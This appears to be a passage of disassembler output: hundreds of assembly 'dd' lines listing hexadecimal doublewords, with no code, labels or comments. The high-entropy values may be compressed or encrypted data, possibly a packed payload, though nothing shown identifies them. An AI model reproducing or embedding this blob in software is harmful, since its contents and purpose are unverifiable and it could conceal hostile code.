		dd 64DB0260h, 7EABAC40h, 1060D82h, 0A05A59CBh, 52120B22h
		dd 0A909ACBAh, 4CF0C14h, 9A96B742h, 0C9284B09h,	2C81C033h
		dd 0EFBF800Ah, 0EEC172F4h, 5508F4E7h, 0BDF12C3Eh, 0CF56C204h
		dd 81AF0959h, 3F973413h, 0BDEB9724h, 11F54E76h,	0DCA2ECE3h
		dd 209D2C20h, 0F58002A2h, 4CEEF838h, 6A3CF459h,	5DCFC6B8h
		dd 1210AC68h, 1E31AE37h, 6A06034Bh, 465BD078h, 80747C13h
		dd 8118A4EAh, 6555EE04h, 0FCEA066Bh, 7CDA9022h,	0B05FC440h
		dd 95395377h, 0E778F57Eh, 0C46CED4Bh, 0B8AF030Bh, 0D2FAE55Eh
		dd 80229A6h, 0F5004358h, 68A320FBh, 88821527h, 4CA89EEEh
		dd 807EE724h, 0F9515F7Ah, 0E4EBD01h, 0C87067EBh, 0FB129DDAh
		dd 5AA1280h, 61B03C0Ch,	4CB72FB2h, 0BD8B7F51h, 0F45C87F4h
		dd 0BE16BDC1h, 3392E917h, 91BEC8AAh, 2B785018h,	2D7F1D0Ch
		dd 2B220E38h, 5507EDF5h, 6614A362h, 0AD68BF48h,	0A501856Ah
		dd 0E9F8218Ah, 0A8530F76h, 0F040B9CAh, 0FCC38534h, 2D4A4049h
		dd 0ED6A5A01h, 58C2316Bh, 55D346Eh, 0AFAD40EAh,	1BDD4E61h
		dd 4021ED58h, 0D85801FDh, 0BBD9186Dh, 0B15AD711h, 0F434095Eh
		dd 0A4562C1Ah, 59311509h, 8F7ACCB4h, 125B1B40h,	377A1468h
		dd 62A08A9Ch, 290FD07Fh, 135D842Fh, 79C18002h, 4825D8E1h
		dd 1B1732CAh, 40BF3A1Fh, 0E95221F8h, 80803E71h,	0A00B4EE5h
		dd 0C5E096A3h, 0C495EEBFh, 0EFF36BEFh, 182105DDh, 21D8B57Eh
		dd 0E0AC2A24h, 78720C60h, 1DB87AD7h, 0CB812F54h, 0DE755673h
		dd 945EF52Fh, 125949E3h, 0A44629C5h, 5373F142h,	0BD6CB5Dh
		dd 57D0F659h, 58660618h, 6FEEE917h, 49DB8B40h, 9D5E39A3h
		dd 0C600637Ch, 19CBF02h, 14FC2FE9h, 0A90BDC45h,	0A8385C79h
		dd 0A9C2BD71h, 4A10E618h, 6BB55FC4h, 12BE8BEBh,	10E0CBE9h
		dd 44F607BBh, 0A0812841h, 635E67A3h, 584F56B0h,	0A6B7A89h
		dd 2FD7E143h, 2D68BE57h, 0F7E09DE9h, 9BB8D729h,	0DF2EA448h
		dd 0B8B050D2h, 25D3B958h, 8D088DDh, 24A57D25h, 48BD5CAh
		dd 1703D006h, 0FD3F2F02h, 5A027D70h, 7D0BFC8Ch,	14880080h
		dd 28DF090Eh, 69BA0F45h, 6B186DA8h, 0FF0D4220h,	63AC5A12h
		dd 5B3142BBh, 0AF847FAEh, 4FF0E8C9h, 0A1A530ADh, 26BC2E4Dh
		dd 42E5A40h, 29654314h,	4035A374h, 0BD4AE90Ch, 5D5E0082h
		dd 32905E46h, 5C592C40h, 152CE057h, 0D2C54F01h,	87E641FEh
		dd 6117134Ah, 41B3241Eh, 3B035D19h, 744ED84h, 0C065EF0Ah
		dd 0D6BF81A0h, 0BE011D0Fh, 0EF08E492h, 8F68C230h, 3918B731h
		dd 3DC90621h, 54C177EAh, 9F513001h, 0C3C06C41h,	0EB801358h
		dd 0E2E4AF05h, 4F80628h, 20885BFBh, 6FB085Ah, 650F5ABh
		dd 0E8305F16h, 7E52910Bh, 95A80DC5h, 564C206Dh,	54555A2Fh
		dd 0A08A027h, 21516858h, 99368BEh, 927D9B03h, 4B407D1Bh
		dd 78225507h, 0ACE92663h, 2A0A71Eh, 13BC6850h, 0D9488425h
		dd 8F2F6229h, 71D0BA00h, 4C684C02h, 0BEE2B200h,	0E9D129C6h
		dd 66635224h, 0AF5BA7A0h, 0D804EF34h, 2D0022A6h, 0B9560D9Ah
		dd 3B873151h, 676A0A3h,	2328AEF3h, 0CB040C11h, 577E8810h
		dd 0C0E134EBh, 2394619Eh, 0DA055802h, 5D1FFA10h, 0F6250A54h
		dd 0DE711580h, 619BE909h, 0C8FC1594h, 0C22700B9h, 6248D158h
		dd 5155722Eh, 25004B47h, 6C3A66E8h, 0AB690CCEh,	6DDF0FCDh
		dd 0BE044342h, 5FFD9085h, 8270E0B5h, 3D30354Ah,	5E535F59h
		dd 128FF61Eh, 2AF2EC80h, 4C5F5525h, 0D813A231h,	0C8B90400h
		dd 0FE762D50h, 2B8D15C0h, 0FD634FFDh, 7F0860F7h, 909F49Eh
		dd 0D54FE9CEh, 0CDD168FFh, 264E2658h, 0AF741E31h, 0ED0F7344h
		dd 0DD253B55h, 7698E581h, 0C5F01864h, 956F18C2h, 66BB244Ah
		dd 295B16EEh, 670FC7A9h, 0C381970h, 0A12F2384h,	0D0BEA49h
		dd 14040C08h, 1A97C500h, 1F83650Fh, 0EC4501EDh,	178DA4E6h
		dd 7BE9A85Fh, 1E04CA40h, 57D8284Bh, 0EEE6F4AEh,	0A82E410Bh
		dd 34A8FD52h, 0F05F1308h, 562AE9C9h, 0E777BC32h, 5D900F4Fh
		dd 0F40A0ECEh, 1D48D620h, 447158A0h, 37F87E65h,	9916812h
		dd 17500D60h, 5A2248CEh, 118B2938h, 0CE894B34h,	8BCBB576h
		dd 1E3BFC22h, 0BD946F94h, 1880205Ch, 0B938E825h, 0F16C133Fh
		dd 0EEDF0161h, 2B687C6Dh, 0A9017A8h, 0FC29591Eh, 983E1851h
		dd 2516503Ch, 0A9B434E1h, 2F150BCBh, 205E77C6h,	524FFBCh
		dd 0FD136328h, 3B82DF0h, 0C532521h, 0B7F2335h, 23BDFEEEh
		dd 9C3078BCh, 7FC38BAAh, 24B5EA33h, 75DA83B3h, 14516110h
		dd 9607E5C0h, 51080206h, 0F28103AFh, 4F97B905h,	0D3F1577Fh
		dd 9AF6BDAFh, 7101AE9Ch, 5A10D95Eh, 7138A44h, 2D864BAEh
		dd 475DC529h, 126E8ADFh, 0AEE392DEh, 0AC4FCAE3h, 286210F5h
		dd 0B389EC5Fh, 88EE95DAh, 0EF048167h, 0C301180h, 28BD1680h
		dd 3A574862h, 0E9120890h, 0B6AFE061h, 0E6862507h, 66B2D4F6h
		dd 95A9750Dh, 6B3AAFFFh, 554BC2B9h, 0D5E2F512h,	0E9FD98D7h
		dd 2AE2BDE7h, 64ED71FFh, 0EFFCBE2Ch, 48975AA8h,	0D37F3615h
		dd 52100B75h, 5AC53BF4h, 40F8CBB4h, 680557B2h, 4A070536h
		dd 3B5D80EAh, 0AC901944h, 69B6FD70h, 103E3E21h,	0BF041E86h
		dd 0B8CB7ED3h, 33C017DAh, 0CF81F21Dh, 4D255F13h, 617F0C82h
		dd 10586C1Ah, 0C04889E7h, 2F4ED412h, 20625A59h,	0E1890398h
		dd 3D0F9205h, 0CD0D7BF1h, 0B4780D0Bh, 0C8EA6312h, 0EB4E2841h
		dd 405ACFFAh, 0E91287B0h, 7C0AFC14h, 0F63A8358h, 0A2A631B4h
		dd 0D6035E9Dh, 908E6C1h, 0DF6FA472h, 0F30A548Fh, 0A8021337h
		dd 12CD3E0Ch
		dd 248CBDE1h, 24FCB0FAh, 8EA034BCh, 0E56701C5h,	9E3B2C7h
		dd 17277177h, 68E280F5h, 0B0A9440Fh, 1BC52C3h, 0FC936E57h
		dd 0EA454A26h, 0BF5CF22Ch, 0E94268DBh, 49E7087h, 0A15316B8h
		dd 1DE8BF5Bh, 88BF5230h, 0D0F3F6E8h, 586766C5h,	0ED337AB8h
		dd 11ED0B0Ah, 78AFFD08h, 2D7DACBh, 750F79C3h, 0CC770E3Ah
		dd 0E078275Dh, 55721277h, 820AA76h, 253FF6B7h, 0B02802CCh
		dd 5C092C45h, 7FB28FF2h, 23CC6522h, 8922BE03h, 0D5400A5Eh
		dd 592105A9h, 0BF4BDA04h, 4915C2Ch, 4B4A4411h, 0C391C156h
		dd 0EB679320h, 1C73C5BEh, 140887AFh, 5E2C072h, 7F4CFD4Dh
		dd 649A096Ch, 0D3318277h, 0E4DF415Ah, 0B63D733Fh, 0A1CFD3D7h
		dd 0D5BD1A01h, 3194F55Ch, 4AB9843h, 0CE2D6673h,	24F8EE0Ch
		dd 430F0537h, 1E070DDDh, 0B5E97074h, 59967579h,	6900089Ah
		dd 0BF4D9421h, 9CE702Fh, 1C78303h, 76A4C900h, 0E7EC21EDh
		dd 8244E509h, 3575803Dh, 1214C975h, 0B42595E9h,	5F40BF36h
		dd 53DF0CBAh, 9F0633Eh,	6E9F2409h, 0B9B07721h, 3500E8D1h
		dd 48A1D6E7h, 2DE9C329h, 90DC7C7Dh, 2D4C35C2h, 0B5737CAEh
		dd 5C958B88h, 59A0EECBh, 86BF215Ah, 9F2C6228h, 21978641h
		dd 4DE83FF5h, 1612B2D7h, 39EE1056h, 0CD81A8CAh,	3BC9584Ah
		dd 0B7CB5EE0h, 6C8B2E19h, 0A9937C7Fh, 0AC0B2668h, 0B010FA15h
		dd 7ADF690Ah, 0C6A8005Dh, 25A63FB0h, 0DE502971h, 95D5C522h
		dd 962FC266h, 7130141Fh, 9F5B7AB8h, 7E3211E1h, 95174CB3h
		dd 0A52EA959h, 496957C9h, 7DE1C3F0h, 0C1F4A30h,	5BAA739Fh
		dd 846504Bh, 2D140C68h,	1ABC7F16h, 1EEA2A4Ch, 0CB03C92Dh
		dd 6DDC4446h, 0BD6EEFD9h, 4808D21Eh, 7F702D13h,	6588BD00h
		dd 0F58150C6h, 3F690162h, 8EDC16Bh, 9A0EB45h, 5C953BF9h
		dd 4452657Fh, 0D805EF28h, 8895D4B9h, 0D1529048h, 1CEE2175h
		dd 0EA18E769h, 7797C456h, 707795BAh, 0A7689916h, 12250C77h
		dd 57CE2DE9h, 0C2E5462Eh, 0D368E90Ah, 3BE61704h, 399544FAh
		dd 42C70018h, 1BA66538h, 0E0194D3h, 81EE49F9h, 534BC6C1h
		dd 0D0DB3352h, 60B345C4h, 0F12B1814h, 729F3A69h, 118A0991h
		dd 0A6F05F0Dh, 196A1C0Ah, 0A200A922h, 0E94A4861h, 0E36AE132h
		dd 56BA4E05h, 6A2CEE64h, 82B8B950h, 41E95658h, 0A4465357h
		dd 2D0212B9h, 5BD2042h,	165CF840h, 0F00BE8C1h, 0E14150F4h
		dd 40B5E541h, 91E8B507h, 20EAC032h, 0FA63A32Dh,	0FAD82110h
		dd 360BFD2Fh, 95C43E77h, 0AF90E0A2h, 0CA1FBC08h, 0BBDA9D60h
		dd 0E8F18012h, 0D17A9BCh, 5499FE88h, 36AFC8C1h,	7DBD1560h
		dd 44292C12h, 0E0AB8B12h, 8D27E9B2h, 0F0852EFh,	3FDB13EAh
		dd 80C2277Fh, 0CD2FF9DDh, 67E27A18h, 0A51097D0h, 69A94021h
		dd 64243B00h, 98090CBAh, 0DA0124F7h, 548100Dh, 0BF26859h
		dd 0B9978BEDh, 642680DAh, 318170E4h, 10D22F6h, 0DBFD3EF3h
		dd 3225E6A4h, 0DDB8E515h, 7B29E449h, 5DA22BB8h,	480530D4h
		dd 2BB652D8h, 5C53D010h, 0D523508Ch, 76FC3E45h,	15702705h
		dd 9C13205h, 72F35F08h,	1216F188h, 7F6A0766h, 3665A211h
		dd 0DD4276F1h, 62E9DCC3h, 310311A0h, 0DCD8F9F1h, 575CFAFFh
		dd 7250945Eh, 0F7018014h, 0C2345197h, 0BF00CE2Fh, 580E478Ah
		dd 6301BE76h, 4F7B4401h, 0EBC37B52h, 0F27FCA61h, 576907B8h
		dd 84E92B66h, 4039AECCh, 238E666h, 0E7ED65DEh, 0EDB4185Ch
		dd 1C26B16Ch, 0C31DC180h, 0CBE969C9h, 58462B58h, 0B5C72463h
		dd 0CCAB1A13h, 175332A5h, 8EFE3293h, 0F6C9879Ch, 6848A17Fh
		dd 306B01DAh, 0F85C4794h, 0C8096003h, 0C1752D59h, 4E306DF9h
		dd 0E7552F06h, 0E91FF45Eh, 2980E724h, 5AD187CAh, 0B841E6F7h
		dd 2D503EBCh, 0AE4A7813h, 6421BCC7h, 477007D3h,	169D1662h
		dd 58549756h, 0E612B10Ch, 9F5AF449h, 0E408EA79h, 0AA211660h
		dd 0A82A1F8Dh, 5681350h, 3684EEFDh, 1581D3Dh, 7D575AEBh
		dd 2ED2750h, 6860EE54h,	4E4F5FAAh, 936DB719h, 0A80C4B1h
		dd 0B0505866h, 574F3498h, 19857F97h, 1FB13C88h,	31C82804h
		dd 2E05D5BEh, 0B301D544h, 0F217FF13h, 0DACA5E1h, 176B105Fh
		dd 0A9306C31h, 5E65685Dh, 0F49BBC43h, 582704C1h, 0B045F470h
		dd 27E9FCA8h, 0C8665B17h, 59C30124h, 0A326A002h, 57DDC63h
		dd 0B235A968h, 0B8500156h, 424A6DBEh, 5790006Ah, 397F9E68h
		dd 4BBD0356h, 7F5835ACh, 0EF7EFF2Dh, 76589580h,	4B51E953h
		dd 0E7AED012h, 0AC24C37h, 83ED87EFh, 0F15FFA92h, 5AF1D521h
		dd 2DE94DF8h, 564ACA8Ch, 0DE2FA40h, 594E22ECh, 69EACFFAh
		dd 0D4D3040Dh, 0A5EE5B0Bh, 7F14CA9Fh, 5A088282h, 0CA9F75F2h
		dd 0D2C3842Eh, 46052EBDh, 0AF78BA65h, 0AC28DE0h, 35F84364h
		dd 6DA802B4h, 305646D9h, 5187858h, 11E9268Ah, 0B7A2EB8Fh
		dd 0DD7789DFh, 5C9A5144h, 4232764h, 0FF5D504h, 82BC446h
		dd 49CC1AD0h, 3D3C57FEh, 58A2125Ch, 0FF54A3F5h,	0D56F300Eh
		dd 0CF76C5FAh, 29509101h, 6E80E9EAh, 117475FEh,	0DD5BDF5Ah
		dd 4EF6EBE0h, 0C876620Ch, 0A39030E1h, 562F74FCh, 0D71C60CCh
		dd 1122114h, 0E7B00393h, 75F61620h, 1570229h, 0B38057EBh
		dd 7618637Eh, 0B2F75895h, 0A5CEA5C7h, 2F2D94F7h, 4D510E64h
		dd 9685BF93h, 60A472E9h, 5A73E9D2h, 0CAEB76B7h,	3E18BF17h
		dd 18B91CD7h, 320C621Eh, 46F14889h, 923B202Ch, 0D6E1C02Dh
		dd 88B30984h, 1734A380h, 0FE509424h, 35FA28A2h,	0EA925E5Fh
		dd 95AC7012h, 9078B6F5h, 10166794h, 38EB6E29h, 0C4306325h
		dd 3CC20F6Eh, 6862FE96h, 787A6051h, 3C6B1C6h, 71EF293Ch
		dd 21BC0C05h, 44E402D1h, 0A0E414F1h, 0CF24D706h, 7AE941BDh
		dd 2FF93BAAh, 0F5133205h, 537B8835h, 0EC5B1BEEh, 6C5846A8h
		dd 0EA5F120Bh, 729D8F5Fh, 0A458B9F3h, 311F1732h, 5583097Dh
		dd 0BA8BF2E7h, 0D46008E7h, 104BEA01h, 56800A62h, 3FCB5C8Dh
		dd 3990E5D1h, 322BECC2h, 0FA6C4001h, 0A9FEB7F0h, 0D7C4DFE9h
		dd 4AC0535Ah, 0F45C3h, 64E12D6Fh, 0E9481195h, 7F2A4C27h
		dd 1451381Ah, 5F27541Eh, 6451EC39h, 1CC150F8h, 0A462902h
		dd 951425F0h, 6881697Bh, 45751C07h, 0F7BD983Bh,	4A15310Bh
		dd 89A4D460h, 0DC7C10E9h, 0C6BBF525h, 4DE0F0F1h, 0BEDE82F7h
		dd 83183E68h, 0FA484797h, 0FDFE4AA4h, 951E88h, 6F2808A6h
		dd 6B4FFE68h, 0D0FFAA25h, 8591ED4Bh, 459B832Ch,	725ADD49h
		dd 4796B52Eh, 4400FB17h, 0C0C1FEE2h, 0F6041EE9h, 6787BAD1h
		dd 0A2CDB652h, 0A7D1D9FCh, 264A923Eh, 611FFE6h,	0E8109F67h
		dd 0F2261375h, 0AAE7C4FEh, 0AA4A9CA2h, 2FCA813h, 647F4B25h
		dd 13749748h, 457B0259h, 0EBBD39DCh, 52C956D9h,	5F7741BAh
		dd 0EFCBD0F7h, 0A75E38AAh, 45C09187h, 9F875EA6h, 0F102D87Ch
		dd 0A809677Eh, 5F040797h, 90BE30E9h, 0FEB7B466h, 2DADC44Ah
		dd 0E1202507h, 0A5C9A758h, 939601D9h, 0D859CA88h, 8EF01AF2h
		dd 62C9244Bh, 0B649B1E0h, 9489448Bh, 0ECA8BB98h, 0AE3855A9h
		dd 0E9176FCAh, 2B4DA1BEh, 51F19FBCh, 7F446154h,	0FFC321E4h
		dd 6750DFCAh, 48DD34A2h, 0B0D32987h, 8100E961h,	0A11E66F3h
		dd 2ACCA60Ch, 39956655h, 0F4F4D5F7h, 1DD9B682h,	2F39442Dh
		dd 0B10FE77h, 0C05B2F07h, 129B0D4Ch, 0BC3A1709h, 3C88871Ch
		dd 0CFE7FF0Bh, 47C3E985h, 3EFAED1h, 0D7309AE3h,	0AA31A06Eh
		dd 575E244Eh, 0A53F69DCh, 90EF2886h, 8D1B727h, 4EA50569h
		dd 0DFE130EFh, 6017DD73h
		dd 77BE8468h, 0C1E84707h, 7E0349E9h, 10121493h,	6F2089h
		dd 0BE7CD81h, 92554505h, 20014B2Fh, 27CDF5B8h, 31389912h
		dd 0E02B64AEh, 0F3297543h, 0E1A561FEh, 0C104DEEFh, 2E459D2Fh
		dd 0E80964EBh, 257ED45Dh, 77B1E219h, 0F76207FCh, 3E6A41F9h
		dd 4E682050h, 69C7C559h, 1CFD2022h, 91905815h, 1F11CB0Eh
		dd 0D90172D7h, 0E3D1B4B3h, 0C580846Fh, 8958BB20h, 4163A0Ch
		dd 0A96861A8h, 8806CC70h, 0C66BC77Fh, 0AC660497h, 4B5A1E91h
		dd 9F0AE4F4h, 0DD7A4B56h, 0DD4971F1h, 0F7051F59h, 9DEEFEEFh
		dd 789AF014h, 0CAE1D5A9h, 0C1D59924h, 46C199EFh, 0F8904590h
		dd 5F544AB5h, 681C8BD8h, 0F5270E9Bh, 525A76B1h,	4BC6AF20h
		dd 172C1809h, 20A3582Dh, 9F806004h, 0E13F8F0Ch,	3CB20E10h
		dd 10FA96E7h, 914A07A4h, 0ED0DE23Ah, 0F8DDE67Ch, 0D9E92FDEh
		dd 0E186B1C1h, 0D0D7E880h, 0C5CE0AC7h, 0D8BEC683h, 0D8E965F6h
		dd 722D2A32h, 58E43C02h, 8A05C829h, 0DA622C07h,	30420FFEh
		dd 965D66D0h, 0E202F3DFh, 0F9A0895Ch, 0EE812BB4h, 479832C9h
		dd 3909AF3Eh, 273C56D2h, 515A3556h, 534608F0h, 23FDE906h
		dd 17E9904Dh, 0AF644A1Dh, 4C080950h, 289D27E1h,	58BAD400h
		dd 62FC8466h, 0EC3FF4C9h, 0A1A75452h, 1C92445Eh, 0E970D59Eh
		dd 0E8400A2Dh, 80282B6Ch, 309ED80h, 0C4071D68h,	96B1279Eh
		dd 0E9853867h, 0BAEC695Dh, 0B775FCA4h, 0F7067D1Bh, 8B97F05Fh
		dd 5834743Bh, 1C943EB6h, 92546A5h, 6D29262Dh, 51454D4h
		dd 3BD74507h, 99A41AA3h, 796A4216h, 0D2669877h,	1869BDBh
		dd 622517AAh, 9384Eh, 0AC43EEC6h, 5FD4E96Eh, 0B54BD190h
		dd 1CAF05C5h, 0F8FE6DEBh, 0C9B27C7Ah, 286DB7Fh,	5923E9D5h
		dd 0FE09736Bh, 762F74E4h, 18A10001h, 50420D1Eh,	8CCD6824h
		dd 0D1586900h, 2FE940E8h, 2BCA3A9Fh, 0F844F257h, 2721966Ch
		dd 574BFFF9h, 6A2B9996h, 2D088937h, 40BD0EF0h, 27DC825h
		dd 723ACE83h, 3C30225Dh, 595ADA91h, 0BD5F9236h,	5550A08Dh
		dd 277B24E9h, 12899341h, 0D27AEA3h, 44E118E5h, 2A2AE07Bh
		dd 0EA08CC89h, 5F0C6A95h, 0E9257372h, 0DCB5E22Ch, 45F5A5CBh
		dd 9F5E699Ah, 7AFEF442h, 0FB6095A2h, 9BFA3D12h,	0DDF8D3DAh
		dd 649CCBF8h, 30278348h, 4DBFE964h, 800EF2D3h, 0F567CCCDh
		dd 0EB5AC24Eh, 4A8BF5DEh, 20F4E62Ah, 584ED90Ah,	0C0520F1Eh
		dd 4FF0D253h, 660340DFh, 7A862D1Dh, 8B3BF82Ch, 0DD3F1CBFh
		dd 7ED4BFE2h, 13BCD9BFh, 55096728h, 5A31DF0Ch, 5D04DA18h
		dd 0DFF2D7ABh, 9EC20569h, 79BA5E57h, 42410902h,	153335B9h
		dd 0A1A2E912h, 0AFAA1438h, 6E033128h, 8CC4E5FAh, 5A3E901h
		dd 0D7BEF921h, 0D103AFCh, 8859096Fh, 2C64F7FAh,	83A893FCh
		dd 4A07BE56h, 465BBC42h, 643DB1C2h, 0D2140BC7h,	7DF6AA1Ch
		dd 1C52F3Fh, 6C896806h,	520BC863h, 0E771DB6h, 96E34CFFh
		dd 43295BD9h, 75A7EBD6h, 3E357CD1h, 60E64AA8h, 16014749h
		dd 0F4B0EE30h, 0AC544E34h, 0FE07A6A2h, 0F5F352F0h, 5D5AD000h
		dd 8F77222Dh, 1E10154Ah, 92680B07h, 82887160h, 3C2B4D34h
		dd 4609A17Fh, 54E6E537h, 804A3F3Ah, 0D88B013Bh,	0FD2DC225h
		dd 1DE9D701h, 2D4A4D66h, 68EF9700h, 424A8FEDh, 775A2972h
		dd 0E4AD1079h, 0BB533D3Ah, 175E3A05h, 0DBFE8187h, 85E00494h
		dd 1C331FD8h, 67610D6Dh, 80EAC018h, 0D46AC227h,	0C3E95BB7h
		dd 30D3C171h, 0B5400F2Fh, 0D8CA0481h, 0C0037E10h, 0E7547F63h
		dd 127A3B8h, 885CF94Ch,	0F22F0D36h, 85E97C8h, 0B2CDE82Dh
		dd 0C231C071h, 0F6C7B958h, 0D0CB1525h, 4874C945h, 0F5977950h
		dd 0C6B5EB1Eh, 32E90CF8h, 0D8D8FEEBh, 2F9816A4h, 9E2306BEh
		dd 0C1E5DCADh, 6855E868h, 0C1AFD2C3h, 41C301ACh, 161DC5Bh
		dd 0EE4277B6h, 0F65C0158h, 4EC2FE1h, 0B91E0648h, 2D4D282Ch
		dd 6820E7CEh, 62B6767Dh, 5CC5833Dh, 0E6BAB077h,	3BC0286Ah
		dd 7A4209B0h, 27DEF61h,	5F1AFFB0h, 0C29F25CEh, 856179B5h
		dd 88E011E9h, 1713803Dh, 0D0E00115h, 0F8EA4EE8h, 7DCD206Eh
		dd 694804BFh, 0C2F78715h, 10290B8Fh, 807A0E59h,	3924685Ah
		dd 5167E449h, 1AD0E2F4h, 1380D7B1h, 8728D8C1h, 2C5B5348h
		dd 1EC885A7h, 96249C2h,	0F3017EA3h, 90C8FEEAh, 22138B68h
		dd 82802CEDh, 4B42BA5Fh, 53C4AAB1h, 0A50FCAAh, 0F1FAA4E9h
		dd 0C7A85D13h, 0A588982Ah, 97426A4h, 4ECF9E72h,	11D26805h
		dd 0FC1BD34h, 0B900A55Ah, 1507F42h, 8C966C81h, 0CCB81B24h
		dd 0DFB81035h, 676B1658h, 5AD74209h, 99A674A9h,	275496D1h
		dd 0A4FBE4B1h, 3C12CE18h, 0C9125AB7h, 0EB4AFABCh, 257FE58Ah
		dd 0C2E83ECFh, 46401130h, 660F1287h, 0E15FBA3Ah, 7E4A4F05h
		dd 3F6BD380h, 0BBFF4AC4h, 887F752Dh, 869F3180h,	2DCF1296h
		dd 83756E68h, 1D39EE05h, 0C9EA2114h, 6CF76665h,	9611F2EEh
		dd 0A0749C83h, 2077504Ah, 5C28F5E2h, 9D1A8869h,	575D580Bh
		dd 6DA0C8B8h, 2ABB3BFDh, 6E8E483Dh, 68BB336Eh, 0DB09F7FAh
		dd 4EDFE5E9h, 3FC4BF94h, 0D64B9290h, 0A4F9AEAh,	8E1B75E9h
		dd 153CD78Ch, 0B49D4460h, 5AF77F13h, 0D00D7E8h,	18803AA9h
		dd 0B912BA05h, 12EE72ACh, 3B8CEFEEh, 4ABF0457h,	83260A43h
		dd 0D5B4805h, 0E982F6A8h, 0EEFE8886h, 6FFD4EBFh, 0DA69466Ah
		dd 7A8B9A61h, 52279DCEh, 2D4F703Ch, 0E90B0AB9h,	764D219h
		dd 651C6812h, 0C8D3BAE8h, 0E025E908h, 0AA30573Ah, 2B17FDBEh
		dd 92AC0740h, 1645B409h, 8E1A2B02h, 69EF1F5Eh, 25DDA0FDh
		dd 24C5A61h, 1E88312h, 0D141FB35h, 0BAA2B10h, 0DACDEBB6h
		dd 0E961EF2Eh, 313AC06Bh, 809F1AE0h, 7B75EA7Bh,	9D5B1466h
		dd 12F30D2Ah, 98C8AF51h, 0F2EA54FAh, 0A94A63BCh, 0ED76B84Eh
		dd 0A175E695h, 563F1E24h, 41C4FAF6h, 121A6786h,	0E5422973h
		dd 0EC080458h, 16FBA545h, 0ABB45604h, 0AB4BCD8Eh, 0E7BA9F21h
		dd 0D7599B42h, 0F13EF224h, 0AD717815h, 5163AE3Eh, 0FE4F5893h
		dd 0DA865B0Bh, 0B010186h, 0C013C27Dh, 0FA3103E2h, 0B03A2134h
		dd 0D80BF67Fh, 2285D04h, 7D5CE9E6h, 326CCC0Bh, 62F75330h
		dd 1620E581h, 0BE333068h, 97D817CCh, 688111F9h,	78BF1A54h
		dd 97C28DF4h, 0C20E64Ch, 5F53093Bh, 40F5315Bh, 95408016h
		dd 1AFE9923h, 808BEBCFh, 5740E2D5h, 1EB03283h, 0C3F7264Eh
		dd 4109BFD6h, 28FC5895h, 0B7835B66h, 2C698BC0h,	786BEC7Fh
		dd 6C85F7C1h, 65BB8007h, 7C5FCF4Bh, 0E9BB9184h,	0FF58258Fh
		dd 6325876Ch, 0E995F61Bh, 6C44F080h, 2BF084Ah, 0E603B58Bh
		dd 0A5F33C61h, 68386202h, 5BE65B1Dh, 4C4FDCF0h,	29E46FCDh
		dd 3FAD2712h, 3AC5ABC8h, 9FEB8080h, 0DD69025Ch,	6809C653h
		dd 7691E2AFh, 0C0D070D0h, 12F4E588h, 906B3C4Dh,	3045F991h
		dd 8FA5204Ah, 99145FCEh, 515AE895h, 7866810Fh, 31384CABh
		dd 95352C2Eh, 0A543AEE9h, 5FAD7FC7h, 0ECA3C405h, 2A300B43h
		dd 890EF73Fh, 0A07669C2h, 0B6E90B40h, 0C311F3AAh, 5EF201D6h
		dd 0D4102767h, 17680933h, 0D1B4D708h, 3B175A5Fh, 56B4D2AAh
		dd 10021BE0h, 504623B1h, 5B1DB230h, 0B14AB85Dh,	322C5271h
		dd 3C0676C1h, 38E5102Fh, 11235869h, 31A5F509h, 9E0D8DFh
		dd 647541EAh, 0FC6B1887h, 7C7FEE7Bh, 0DCC1EDF0h, 97111E4h
		dd 18310C86h, 0EA05F4EFh, 258B5AC6h, 0D1C831Ah,	14001C08h
		dd 0C92849E9h, 41FCF8A5h, 5734C0C2h, 3CFA8916h,	41B2B35Bh
		dd 612CEE4Fh, 30474A3Dh
		dd 0E60A81B1h, 68B5CABDh, 4D4CE951h, 0ED2614FEh, 0CDC04E0Eh
		dd 0E015C98h, 8798EA0h,	757AEB27h, 89622DAFh, 0E6603EFAh
		dd 69C217D5h, 0E7215DEAh, 80E02783h, 0F7FAB92Dh, 7C50DF25h
		dd 624B4785h, 1E492173h, 2570F4CFh, 54006E97h, 5B668A33h
		dd 0E481E845h, 0F7C8A6C1h, 5CE8EE04h, 0D0E4DCC5h, 753BB898h
		dd 0BD17C702h, 0C2388AC9h, 0F0C1DF7Dh, 800B3CE3h, 2E761FBFh
		dd 0A274B71Dh, 0E9412CACh, 9448D191h, 775D1614h, 52081667h
		dd 374900CBh, 2160EE3Bh, 0F82CCE4Bh, 7DDE5CF7h,	45943004h
		dd 0CF81AE58h, 0BB00BEEFh, 0E712641Eh, 0AFC5296Fh, 80A0A2EFh
		dd 6776BB53h, 681738F6h, 0F5D6F5CEh, 0D801001Fh, 7EC0BD51h
		dd 65094840h, 50D7F75Fh, 0A7CA028Dh, 0F989E6B3h, 58D5765Fh
		dd 48D23787h, 0C924A3BFh, 7FBF23Dh, 0C33FB7EEh,	87BB375h
		dd 35EF1700h, 29D1232Fh, 568FA2F9h, 2E762783h, 0E6B3BB0Bh
		dd 0FED4D76Fh, 0CCBAF013h, 0FC15E94Ch, 21EBFEE3h, 17F11A01h
		dd 5B021ADCh, 7671A568h, 20C86088h, 0D8977680h,	6EFA9D47h
		dd 0E73B55E0h, 9B0F7B39h, 64122046h, 0F4EA908Bh, 32246863h
		dd 2DC2C65Eh, 318D0B98h, 3BFC2EF2h, 0FC2EE441h,	55F87F4Ah
		dd 0FAA9E92Fh, 6C56364h, 0C3F8AEDh, 89A01753h, 9484E237h
		dd 9B68BD90h, 57640669h, 0D9F3558h, 48C1013Ch, 8FEB7EB4h
		dd 34545028h, 7AD105FFh, 0B9806F10h, 20117D3Bh,	8325316Bh
		dd 2570E6F6h, 0A9F17FD5h, 0A1535045h, 591E5B0Bh, 93A8B167h
		dd 15E805ADh, 63690C04h, 0CD85A217h, 0A4F73056h, 0D8F74000h
		dd 0C6EA6505h, 70357C01h, 50753222h, 0BF4A3238h, 0E684F2C4h
		dd 506017ACh, 0D24AC7EBh, 42FA094Eh, 0C328E99Ah, 20D6E6DDh
		dd 0F4C10720h, 7F46D298h, 0A8D2BB47h, 42D192F8h, 21587552h
		dd 606CFBA0h, 487A5216h, 3C8A32ADh, 0B2FEADC6h,	93384C9h
		dd 0BB3BEBE1h, 3AEEFB72h, 16D5C657h, 680B1B68h,	0B0BD5F6Ah
		dd 4FF0E992h, 0C743EF9Bh, 62C892A8h, 98A71CCEh,	68124966h
		dd 0DAC1F90h, 2D50DC9h,	5F32E9C4h, 3CE636A0h, 160D956h
		dd 0CF086452h, 9549818h, 65F82E4Eh, 0C5BC90FDh,	19310410h
